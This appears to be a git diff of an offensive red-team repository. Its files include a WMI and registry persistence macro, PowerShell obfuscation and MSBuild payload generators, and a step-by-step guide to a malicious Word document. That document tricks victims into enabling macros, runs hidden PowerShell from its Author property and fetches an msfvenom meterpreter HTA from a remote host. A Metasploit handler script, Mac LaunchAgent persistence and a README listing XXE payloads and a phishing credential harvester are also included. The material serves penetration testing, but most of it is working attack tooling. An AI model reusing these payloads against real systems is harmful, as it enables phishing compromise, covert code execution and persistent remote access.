objService1.Get("CommandLineEventConsumer") + Set newObj2 = objInstances2.Spawninstance_ + newObj2.name = consumerName + newObj2.CommandLineTemplate = exePath + newObj2.Put_ + + ' + ' Step 3: Set WMI instance of type: Filter To Consumer Binding + ' + Set objInstances3 = objService1.Get("__FilterToConsumerBinding") + Set newObj3 = objInstances3.Spawninstance_ + newObj3.Filter = "__EventFilter.Name=""" & filterName & """" + newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """" + newObj3.Put_ + + WMIPersistence = True + Exit Function +Failed: + WMIPersistence = False +End Function \ No newline at end of file diff --git a/social-engineering/backdoor-drop.js b/social-engineering/backdoor-drop.js new file mode 100644 index 0000000..79695ba --- /dev/null +++ b/social-engineering/backdoor-drop.js @@ -0,0 +1,26 @@ + \ No newline at end of file diff --git a/social-engineering/compressedPowershell.py b/social-engineering/compressedPowershell.py new file mode 100644 index 0000000..80abfd1 --- /dev/null +++ b/social-engineering/compressedPowershell.py @@ -0,0 +1,30 @@ +#!/usr/bin/python3 + +import io +import sys +import gzip +import base64 + +def main(argv): + if len(argv) < 2: + print('Usage: ./compressedPowershell.py ') + sys.exit(-1) + + out = io.BytesIO() + encoded = '' + with open(argv[1], 'rb') as f: + inp = f.read() + + with gzip.GzipFile(fileobj = out, mode = 'w') as fo: + fo.write(inp) + + encoded = base64.b64encode(out.getvalue()) + + powershell = '''$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String("{}")); + +IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'''.format(encoded.decode()) + + print(powershell) + +if __name__ == '__main__': + main(sys.argv) diff --git a/social-engineering/delete-warning-div-macro.vbs b/social-engineering/delete-warning-div-macro.vbs new file mode 100644 index 0000000..281dcf2 --- /dev/null +++ b/social-engineering/delete-warning-div-macro.vbs @@ -0,0 +1,12 @@ +Private Sub DeleteWarningPicture(ByVal textBoxName As String, ByVal saveDocAfter As Boolean) + Dim shape As Word.shape + For Each shape In ActiveDocument.Shapes + If StrComp(shape.Name, textBoxName) = 0 Then + shape.Delete + Exit For + End If + Next + If saveDocAfter Then + ActiveDocument.Save + End If +End Sub \ No newline at end of file diff --git a/social-engineering/generateMSBuildPowershellXML.py b/social-engineering/generateMSBuildPowershellXML.py new file mode 100644 index 0000000..df85512 --- /dev/null +++ b/social-engineering/generateMSBuildPowershellXML.py @@ -0,0 +1,234 @@ +#!/usr/bin/python3 +# +# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or +# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by: +# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe +# +# Requirements: +# - pefile +# +# Mariusz B. / mgeeky, +# + +import re +import io +import sys +import gzip +import base64 +import string +import struct +import random +import argparse + +try: + import pefile +except ImportError: + print('Missing requirement: "pefile". Install it using: pip install pefile') + sys.exit(-1) + + +def getCompressedPayload(filePath): + out = io.BytesIO() + encoded = '' + with open(filePath, 'rb') as f: + inp = f.read() + + with gzip.GzipFile(fileobj = out, mode = 'w') as fo: + fo.write(inp) + + encoded = base64.b64encode(out.getvalue()) + + powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format( + encoded.decode() + ) + return powershell + +def getInlineTask(payload, exeFile): + templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) + taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) + + powershellLaunchCode = string.Template(''' + + + + ''').safe_substitute( + templateName = templateName, + payload2 = base64.b64encode(payload) + ) + + exeLaunchCode = string.Template(''' + + + + + + + ''').safe_substitute( + payload2 = base64.b64encode(payload) + ) + + launchCode = exeLaunchCode if exeFile else powershellLaunchCode + + template = string.Template(''' + + + + + + + <$templateName /> + + + $launchCode + + +''').safe_substitute( + taskName = taskName, + templateName = templateName, + launchCode = launchCode + ) + + return template + +def detectFileIsExe(filePath, forced = False): + first1000 = [] + + with open(filePath, 'rb') as f: + first1000 = f.read()[:1000] + + if not (first1000[0] == 'M' and first1000[1] == 'Z'): + return False + + elfanew = struct.unpack('\s*\n', '', output) + output = output.replace('\n', '') + output = re.sub(r'\s{2,}', ' ', output) + output = re.sub(r'\s+([^\w])\s+', r'\1', output) + output = re.sub(r'([^\w"])\s+', r'\1', output) + + variables = { + 'payload' : 'x', + 'method' : 'm', + 'asm' : 'a', + 'instance' : 'o', + 'pipeline' : 'p', + 'runspace' : 'r', + 'decoded' : 'd' + } + + for k, v in variables.items(): + output = output.replace(k, v) + + return output + +def opts(argv): + parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ') + parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script or PE/EXE file.') + parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.') + parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.') + parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE (optional, if not used - the script will try to sense that). WARNING: Launching EXE is possibly ONLY WITH MONO/.NET IL/Assembly EXE file, not an ordinary native PE/EXE!') + + args = parser.parse_args() + + return args + +def main(argv): + sys.stderr.write(''' + :: Powershell via MSBuild inline-task XML payload generation script + To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe' + Mariusz B. / mgeeky, + +''') + if len(argv) < 2: + print('Usage: ./generateMSBuildPowershellXML.py ') + sys.exit(-1) + + args = opts(argv) + + isItExeFile = args.exe or detectFileIsExe(args.inputFile, args.exe) + + if isItExeFile: + sys.stderr.write('[?] File recognized as PE/EXE.\n\n') + with open(args.inputFile, 'rb') as f: + payload = f.read() + else: + sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') + + if args.inputFile.endswith('.exe'): + return False + + payload = getCompressedPayload(args.inputFile) + + output = getInlineTask(payload, isItExeFile) + + if args.minimize: + output = minimize(output) + + if args.encode: + print(base64.b64encode(output)) + else: + print(output) + +if __name__ == '__main__': + main(sys.argv) diff --git a/social-engineering/macro-psh-stdin-author.vbs b/social-engineering/macro-psh-stdin-author.vbs new file mode 100644 index 0000000..5dbd474 --- /dev/null +++ b/social-engineering/macro-psh-stdin-author.vbs @@ -0,0 +1,12 @@ +Private Sub Workbook_Open() + Dim author As String + author = ActiveWorkbook.BuiltinDocumentProperties("Author") + + Dim ws As Object + Set ws = CreateObject("WScript.Shell") + With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -") + .StdIn.WriteLine author + .StdIn.WriteBlankLines 1 + .Terminate + End With +End Sub diff --git a/social-engineering/msbuild-powershell-msgbox.xml b/social-engineering/msbuild-powershell-msgbox.xml new file mode 100644 index 0000000..21da20d --- /dev/null +++ b/social-engineering/msbuild-powershell-msgbox.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/social-engineering/muti-stage-1.md b/social-engineering/muti-stage-1.md new file mode 100644 index 0000000..c19cc3a --- /dev/null +++ b/social-engineering/muti-stage-1.md @@ -0,0 +1,218 @@ +# Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process + +The below paper documents the process of creating a multi-stage IPS/AV transparent malicious document for purposes of Red Teaming / Penetration-Testing assignments. + +The resulted document will be: +- using OLE event autorun method +- removing it's pretext shapes +- Obtaining commands to be executed from document's _Author_ property and passing them to `StdIn` of _Powershell.exe_ process +- Leveraging `certutil` technique to receive Base64 encoded malicious HTA document +- Having Base64 encoded Powershell command in that _Author_ property +- Having fully Obfuscated VBA macro + +--- + +1. Create an empty Word document with extension `.doc` + +--- + +2. Create an OLE object named `Microsoft InkPicture Control` (_Developer tab -> Insert -> More controls -> ... _) + +--- + +3. Double click on that OLE object and add the following method: + +``` +Public Once As Integer + +Public Sub Launch() + On Error Resume Next + ' + ' Here will be malicious code placed + ' +End Sub + +Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle) + If Once < 1 Then + Launch + End If + Once = Once + 1 +End Sub +``` + +Since the `Painted` event will be triggered several times, we want to avoid situation of having several stagers popped on the target machine. + +--- + +4. Then, add pretext shape enticing victim to enable editing/macros - having that, insert a function that will delete this shape after victim really enable macros. +For example of such shape - you can refer to one of my [repos](https://github.com/mgeeky/RobustPentestMacro). + +**NOTICE**: Make sure to put the OLE Control in the topmost left corner of the document and to color that control (right click -> Propertied -> Color) so it will overlap visually with Pretext-shape. +The trick is to make the victim move the mouse over that OLE control after enabling macros (making it trigger `Painted` event in the background). + +The function that will delete this and OLE object shapes after enabling macros is placed below: + +``` +Public Sub Launch() + On Error Resume Next + DeleteWarningShape "warning-div", True + DeleteWarningShape "Control 2", True + ... +End Sub + +Private Sub DeleteWarningShape(ByVal textBoxName As String, ByVal saveDocAfter As Boolean) + Dim shape As Word.shape + On Error Resume Next + For Each shape In ActiveDocument.Shapes + If StrComp(shape.Name, textBoxName) = 0 Then + shape.Delete + Exit For + End If + Next + If saveDocAfter Then + ActiveDocument.Save + End If +End Sub +``` + +--- + +5. Now, add code obtaining malicious _Powershell_ commands from _Author_ document's property and passing it to the _Powershell's_ `StdIn` stream: + +``` +Public Sub Launch() + On Error Resume Next + DeleteWarningShape "warning-div", True + DeleteWarningShape "Control 2", True + Dim authorProperty As String + + authorProperty = ActiveDocument.BuiltInDocumentProperties("Author") + Set objWShell = CreateObject("WScr" & "ipt.S" & "hell") + With objWShell.Exec("powe" & "rsh" & "ell.exe -no" & "p -w" & "indowstyle hid" & "den -Com" & "mand -") + .StdIn.WriteLine authorProperty + .StdIn.WriteBlankLine 1 + .Terminate + End With +``` + +Of course, having that - you will have to remember to add proper Powershell command to be executed right into _Author_ property of the Word file. + +--- + +6. Now, we have to insert some code into that _Author_ property. This code should do the following: +- Download Base64 encoded `encoded.crt` file containing malicious HTA code. +- Use `certutil -decode encoded.crt out.hta` command that will strip that Base64 layer. +- Make entire powershell code that shall be placed in _Author_ property Unicode-Base64 encoded in such a way, that Powershell's `-EncodedCommand` will be able to process. + +The following code can be use as an example: + +``` +powershell -ep bypass -Command "(new-object Net.WebClient).DownloadFile('http://192.168.56.101/encoded.crt','%TEMP%\encoded.crt');certutil -decode %TEMP%\encoded.crt %TEMP%\encoded.hta;start %TEMP%\encoded.hta" +``` + +Here, the file will be obtained from `http://192.168.56.101/encoded.crt` - of course, one will want to move that file into HTTPS webserver having some luring domain name. + +This command can be then converted into Powershell-supported Base64 payload like so: + +``` +C:\Users\IEUser\Desktop\files\dl>powershell -ep bypass -command "[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(\"(new-object Net.WebClient).DownloadFile('http://192.168.56.101/encoded.crt','%TEMP%\encoded.crt');certutil -decode %TEMP%\encoded.crt %TEMP%\encoded.hta;start %TEMP%\encoded.hta\"))" +KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADUANgAuADEAMAAxAC8AZQBuAGMAbwBkAGUAZAAuAGMAcgB0ACcALAAnAEMAOgBcAFUAcwBlAHIAcwBcAEkARQBVAHMAZQByAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAG4AYwBvAGQAZQBkAC4AYwByAHQAJwApADsAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAEkARQBVAHMAZQByAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAG4AYwBvAGQAZQBkAC4AYwByAHQAIABDADoAXABVAHMAZQByAHMAXABJAEUAVQBzAGUAcgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAZQBuAGMAbwBkAGUAZAAuAGgAdABhADsAcwB0AGEAcgB0ACAAQwA6AFwAVQBzAGUAcgBzAFwASQBFAFUAcwBlAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbgBjAG8AZABlAGQALgBoAHQAYQA= +``` + +Now this code is to be placed into _Author_ property. + +--- + +7. Now, in order to generate that `encoded.crt` file - go for the following steps: + +- Step 1: Using `msfvenom` generate malicious HTA file +- Step 2: Convert that payload into Base64-encoded certificate file. + +In order to automate above steps - you can use the below script: + +``` +#!/bin/bash + +# --- PAYLOAD SETUP + +LHOST=192.168.56.101 +LPORT=4444 +PAYLOAD=windows/meterpreter/reverse_tcp + +# This file must have *.crt extension +OUTPUT_FILE=/var/www/html/encoded.crt + +PAYLOAD_FILE=/tmp/test$RANDOM + +# ---- + +msfvenom -f hta-psh -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -o $PAYLOAD_FILE + +echo -----BEGIN CERTIFICATE----- > $OUTPUT_FILE +cat $PAYLOAD_FILE | base64 -w 0 >> $OUTPUT_FILE +echo -----END CERTIFICATE----- >> $OUTPUT_FILE + +chown www-data:www-data $OUTPUT_FILE 2> /dev/null +echo "Generated file: $OUTPUT_FILE" +``` + +And Voila! You will have your `encoded.crt` file in webroot. + +--- + +8. After that you can add some persistence methods and further fail-proof the Macro code. For a nice example of persistence method - the `WMIPersistence` method can be used: + +[WMIPersistence](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a) + +--- + +9. After that, you will want to make the entire VBA macro code become obfuscated to further slow down analysis process. + +The obfuscation can easily be pulled off using my [VisualBasicObfuscator](https://github.com/mgeeky/VisualBasicObfuscator) + + +--- + +## ENTIRE MACRO CAN LOOK LIKE THIS: + +(without persistence method) + +``` +Public Once As Integer + +Public Sub Launch() + On Error Resume Next + DeleteWarningShape "warning-div", False + DeleteWarningShape "Control 2", False + + Dim authorProperty As String + authorProperty = ActiveDocument.BuiltInDocumentProperties("Author") + Set objWShell = CreateObject("WScr" & "ipt.S" & "hell") + With objWShell.Exec("powe" & "rsh" & "ell.exe -no" & "p -w" & "indowstyle hid" & "den -Com" & "mand -") + .StdIn.WriteLine authorProperty + .StdIn.WriteBlankLine 1 + .Terminate + End With +End Sub + +Private Sub DeleteWarningShape(ByVal textBoxName As String, ByVal saveDocAfter As Boolean) + Dim shape As Word.shape + On Error Resume Next + For Each shape In ActiveDocument.Shapes + If StrComp(shape.Name, textBoxName) = 0 Then + shape.Delete + Exit For + End If + Next + If saveDocAfter Then + ActiveDocument.Save + End If +End Sub + +Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle) + If Once < 1 Then + Launch + End If + Once = Once + 1 +End Sub +``` diff --git a/social-engineering/set-handler.rc b/social-engineering/set-handler.rc new file mode 100644 index 0000000..6f10c9d --- /dev/null +++ b/social-engineering/set-handler.rc @@ -0,0 +1,19 @@ +use exploit/multi/handler +setg PAYLOAD windows/x64/meterpreter/reverse_https +setg LHOST +setg LPORT 443 +setg VERBOSE true +setg ExitOnSession false +setg Powershell::sub_funcs true +setg Powershell::sub_vars true +setg EnableStageEncoding true +setg StagerRetryCount 30 +setg StagerRetryWait 10 +exploit -j +use exploit/multi/script/web_delivery +set TARGET 2 +set SRVPORT 8080 +set SSL true +set URIPATH msf +set DisablePayloadHandler true +exploit -j diff --git a/social-engineering/vba-macro-mac-persistence.vbs b/social-engineering/vba-macro-mac-persistence.vbs new file mode 100644 index 0000000..e9d0c18 --- /dev/null +++ b/social-engineering/vba-macro-mac-persistence.vbs @@ -0,0 +1,81 @@ +#If VBA7 Then + ' 64-bit Mac (2016) + Private Declare PtrSafe Function system Lib "libc.dylib" Alias "system" _ + (ByVal command As String) As Long + Private Declare PtrSafe Function fopen Lib "libc.dylib" Alias "fopen" _ + (ByVal file As String, ByVal mode As String) As LongPtr + Private Declare PtrSafe Function fputs Lib "libc.dylib" Alias "fputs" _ + (ByVal str As String, ByVal file As LongPtr) As Long + Private Declare PtrSafe Function fclose Lib "libc.dylib" Alias "fclose" _ + (ByVal file As LongPtr) As Long +#Else + ' 32-bit Mac + Private Declare Function system Lib "libc.dylib" Alias "system" _ + (ByVal command As String) As Long + Private Declare Function fopen Lib "libc.dylib" Alias "fopen" _ + (ByVal file As String, ByVal mode As String) As Long + Private Declare Function fputs Lib "libc.dylib" Alias "fputs" _ + (ByVal str As String, ByVal file As Long) As Long + Private Declare Function fclose Lib "libc.dylib" Alias "fclose" _ + (ByVal file As Long) As Long +#End If + +Sub writeToFile(ByVal file As String, ByVal txt As String) + #If Mac Then + #If VBA7 Then + Dim fp As LongPtr + #Else + Dim fp As Long + #End If + + Dim grants + grants = Array(file) + GrantAccessToMultipleFiles(grants) + + ' BUG: fopen will return 0 here. + fp = fopen(file, "w") + If fp = 0 Then: Exit Sub + + fputs txt, fp + fclose(fp) + #End If +End Sub + +Sub MacPersistence(ByVal cmd As String, ByVal taskName As String) + Dim plist As String + plist = "\n" + plist = plist & "\n" + plist = plist & "\n + plist = plist & "\n" + plist = plist & " Label\n" + plist = plist & " " & taskName & "\n" + plist = plist & " ProgramArguments\n" + plist = plist & " \n" + plist = plist & " /bin/bash\n" + plist = plist & " -c\n" + plist = plist & " '" & cmd & "'\n" + plist = plist & " \n" + plist = plist & " RunAtLoad\n" + plist = plist & " \n" + plist = plist & " KeepAlive\n" + plist = plist & " \n" + plist = plist & "\n" + plist = plist & "\n" + + ' TODO: File writing does not work at the moment, most likely due to + ' apps sandboxing mechanism enforced by the system. + + ' Approach #1: File write by system command + ' system("echo -e """ & plist & """ > ~/Library/LaunchAgents/" & taskName) + + ' Approach #2: File write by fopen+fputs+fclose + Dim fileName As String + fileName = "~/Library/LaunchAgents/" & taskName & ".plist" + writeToFile fileName, plist +End Sub + +Sub TestMacPersistence() + MacPersistence "/Applications/Calculator.app/Contents/MacOS/Calculator", "com.java.update" +End Sub \ No newline at end of file diff --git a/social-engineering/vba-windows-persistence.vbs b/social-engineering/vba-windows-persistence.vbs new file mode 100644 index 0000000..4feeb77 --- /dev/null +++ b/social-engineering/vba-windows-persistence.vbs @@ -0,0 +1,105 @@ +' +' SYNOPSIS: +' This macro implements two windows persistence methods: +' - WMI Event Filter object creation +' - simple HKCU Registry Run value insertion. It has to be HKCU to make it work under Win10 x64 +' +' WMI Persistence method as originally presented by SEADADDY malware +' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887) +' and further documented by Matt Graeber. +' +' The scheduled command will be launched after roughly 3 minutes since system +' gets up. Also, even if the command shall spawn a window - it will not be visible, +' since the command will get invoked by WmiPrvSE.exe that's running in Session 0. +' +' USAGE: +' WindowsPersistence("command to be launched", "taskName") +' +' EXAMPLE: +' WindowsPersistence "powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater" +' +' AUTHOR: +' Mariusz B. / mgeeky, '17 +' + +Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean + Dim filterName, consumerName As String + Dim objLocator, objService1 + Dim objInstances1, objInstances2, objInstances3 + Dim newObj1, newObj2, newObj3 + + On Error GoTo Failed + + filterName = taskName & "Event" + consumerName = taskName & "Consumer" + + Set objLocator = CreateObject("WbemScripting.SWbemLocator") + Set objService1 = objLocator.ConnectServer(".", "root\subscription") + + ' + ' Step 1: Set WMI Instance of type Event Filter + ' + Set objInstances1 = objService1.Get("__EventFilter") + + ' The malware originally will kicks in after roughly 3 minutes since System gets up. + ' One can modify this delay time by modifying the WHERE clausule of the below query. + Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _ + & "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _ + & "AND TargetInstance.SystemUpTime >= 200 AND " _ + & "TargetInstance.SystemUpTime < 320" + + ' New object of type __EventFilter + Set newObj1 = objInstances1.Spawninstance_ + newObj1.Name = filterName + newObj1.eventNamespace = "root\cimv2" + newObj1.QueryLanguage = "WQL" + newObj1.Query = Query + newObj1.Put_ + + ' + ' Step 2: Set WMI instance of type: CommandLineEventConsumer + ' + Set objInstances2 = objService1.Get("CommandLineEventConsumer") + Set newObj2 = objInstances2.Spawninstance_ + newObj2.Name = consumerName + newObj2.CommandLineTemplate = exePath + newObj2.Put_ + + ' + ' Step 3: Set WMI instance of type: Filter To Consumer Binding + ' + Set objInstances3 = objService1.Get("__FilterToConsumerBinding") + Set newObj3 = objInstances3.Spawninstance_ + newObj3.Filter = "__EventFilter.Name=""" & filterName & """" + newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """" + newObj3.Put_ + + WMIPersistence = True + Exit Function +Failed: + WMIPersistence = False +End Function + +Public Function RegistryPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean + On Error GoTo Failed + + Const HKEY_CURRENT_USER = &H80000001 + strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run" + strComputer = "." + Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv") + strValueName = taskName + strValue = exePath + objReg.SetExpandedStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, strValue + + RegistryPersistence = True + Exit Function +Failed: + RegistryPersistence = False +End Function + + +Public Function WindowsPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean + If WMIPersistence(exePath, taskName) <> True Then + RegistryPersistence exePath, taskName + End If +End Function \ No newline at end of file diff --git a/social-engineering/warnings/EN-Excel.docx b/social-engineering/warnings/EN-Excel.docx new file mode 100644 index 0000000..7fda4bf Binary files /dev/null and b/social-engineering/warnings/EN-Excel.docx differ diff --git a/social-engineering/warnings/EN-Word.docx b/social-engineering/warnings/EN-Word.docx new file mode 100644 index 0000000..06b24d6 Binary files /dev/null and b/social-engineering/warnings/EN-Word.docx differ diff --git a/web/README.md b/web/README.md new file mode 100644 index 0000000..cee719a --- /dev/null +++ b/web/README.md @@ -0,0 +1,139 @@ +## Web Applications penetration testing related scripts, tools and Cheatsheets + + +- **`xml-attacks.md`** - XML Vulnerabilities and Attacks cheatsheet. ([gist](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870)) + +- **`reencode.py`** - ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding. To be used for instance in fuzzing purposes. Requires: jwt (pip install pyjwt). ([gist](https://gist.github.com/mgeeky/1052681318a8164b112edfcdcb30798f)) + + Sample output could look like: + + ``` +Usage: detect.py +Using sample: "4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935" +[+] Detected encoding: HexEncoded +[+] Detected encoding: Base64 +[+] Detected encoding: URLEncoder +[.] No more encodings. +[.] Input data encoded according to: ['HexEncoded', 'Base64', 'URLEncoder'] +[>] Decoding HexEncoded: (4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935) => (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5) +[>] Decoding Base64: (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5) => (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29) +[>] Decoding URLEncoder: (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29) => (Hello world! :-)) +(1) DECODED TEXT: "Hello world! :-)" + +(2) TO BE ENCODED TEXT: "FOO Hello world! :-) BAR" +[>] Encoding URLEncoder: (FOO Hello world! :-) BAR) => (FOO%20Hello%20world%21%20%3A-%29%20BAR) +[>] Encoding Base64: (FOO%20Hello%20world%21%20%3A-%29%20BAR) => (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=) + +[>] Encoding HexEncoded: (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=) => (526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d) +(3) ENCODED FORM: "526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d" + ``` + + When `DEBUG` is turned on, the output may also look like: + + ``` +$ ./reencode.py JTQxJTQxJTQxJTQx +[.] Trying: URLEncoder (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx" +[.] Trying: HexEncoded (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx" +[.] Trying: Base64 (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx" +[.] Unclear situation whether input (JTQxJTQxJTQxJTQx) is Base64 encoded. Branching. +[*] Generator returned: ("None", "JTQxJTQxJTQxJTQx", True) +[+] Detected encoder: Base64 +[*] Generator returned: ("Base64", "%41%41%41%41", False) +[.] Trying: URLEncoder (peeled off: 1). Current form: "%41%41%41%41" +[+] Detected encoder: URLEncoder +[*] Generator returned: ("URLEncoder", "AAAA", False) +[.] Trying: URLEncoder (peeled off: 2). Current form: "AAAA" +[.] Trying: HexEncoded (peeled off: 2). Current form: "AAAA" +[.] Unclear situation whether input (AAAA) is Hex encoded. Branching. +[*] Generator returned: ("None", "AAAA", True) +[+] Detected encoder: HexEncoded +[*] Generator returned: ("HexEncoded", "��", False) +[.] Trying: URLEncoder (peeled off: 3). Current form: "��" +[.] Trying: HexEncoded (peeled off: 3). Current form: "��" +[.] Trying: Base64 (peeled off: 3). Current form: "��" +[.] Trying: Base64URLSafe (peeled off: 3). Current form: "��" +[.] Trying: JWT (peeled off: 3). Current form: "��" +[.] Trying: None (peeled off: 3). Current form: "��" +None (JTQxJTQxJTQxJTQx) +├── None (JTQxJTQxJTQxJTQx) +└── Base64 (%41%41%41%41) + └── URLEncoder (AAAA) + ├── None (AAAA) + └── HexEncoded () +[.] Candidate for best decode using None: "AAAA"... +[.] Candidate for best decode using HexEncoded: "��"... +[=] Evaluating candidate: None (data: AAAA) + Adding 10.0 points for printable characters. + Adding 0.0 points for high entropy. + Adding 4.0 points for length. + Scored in total: 14.0 points. +[=] Evaluating candidate: HexEncoded (data: ��) + Adding 0.0 points for printable characters. + Adding 0.0 points for high entropy. + Adding 2.0 points for length. + Scored in total: 2.0 points. +[?] Other equally good candidate paths: +(Node('/None/Base64/URLEncoder', decoded='AAAA'), Node('/None/Base64/URLEncoder/None', decoded='AAAA')) +[+] Winning decode path is: +Node('/None/Base64/URLEncoder', decoded='AAAA') +[+] Selected encodings: ['None', 'Base64', 'URLEncoder'] +(1) DECODED TEXT: "AAAA" + +(2) TO BE ENCODED TEXT: "FOO AAAA BAR" +(3) ENCODED FORM: "Rk9PJTIwQUFBQSUyMEJBUg==" + ``` + + +- **`oRTC-leak-internal-ip.js`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/03f0871fb88c64b3d6d3a725c3ba38bf)) + +- **`XXE Payloads`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d)) + +- **`blind-xxe-payload-1.txt`** - Simplest Blind XXE Payload to test within HTML request. ([gist](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882)) + +- **`burpCookieToUrl.py`** - Example BurpSuite extension copying specified Cookie's value (ticket) into URL parameters set under different name. ([gist](https://gist.github.com/mgeeky/61407112d6d09eaafd542e25590e1d35)) + +- **`post.php`** - (GIST discontinued, for recent version check: https://github.com/mgeeky/PhishingPost ) PHP Credentials Harversting script to be used during Social Engineering Phishing campaigns/projects. ([gist](https://gist.github.com/mgeeky/32375178621a5920e8c810d2d7e3b2e5)) + + +- [**`PhishingPost`**](https://github.com/mgeeky/PhishingPost) - (PHP Script intdended to be used during Phishing campaigns as a credentials collector linked to backdoored HTML
action parameter. + +- **`burp-curl-beautifier.py`** - Simple script for making "Copy as curl command" output in system's clipboard a little nicer, at least for me. ([gist](https://gist.github.com/mgeeky/3a5060e54004ca597241d6752b482675)) + +- **`padding-oracle-tests.py`** - Padding Oracle test-cases generator utility aiding process of manual inspection of cryptosystem's responses. ([gist](https://gist.github.com/mgeeky/5dfa475af2c970197a62ad070ba5deee)) + + ``` +# Simple utility that aids the penetration tester when manually testing Padding Oracle condition +# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with. +# +# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher +# and then generates all the possible, reasonable cipher text transformations to be used while manually +# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of +# encoded values to be used in manual application testing approaches, like sending requests. +# +# One of possible scenarios and ways to use the below script could be the following: +# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos +# - launch pador.py which is an example of application vulnerable to Padding Oracle +# - then by using `curl http://localhost:5000/echo?cipher=` we are going to manually +# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error' +# result would be considered padding-hit, therefore vulnerability proof. +# +# This script could be then launched to generate every possible test case of second to the last block +# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255) +# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget). + ``` + +- **`create_mitm_certificate.sh`** - Simple SSL/TLS self-signed CA Certificate generator for MITM purposes. ([gist](https://gist.github.com/mgeeky/5e36d6482e73ab85c161c35bfd50c465)) + +- **`java-XMLDecoder-RCE.md`** - Java Beans XMLDecoder XML-deserialization Remote Code Execution payloads. 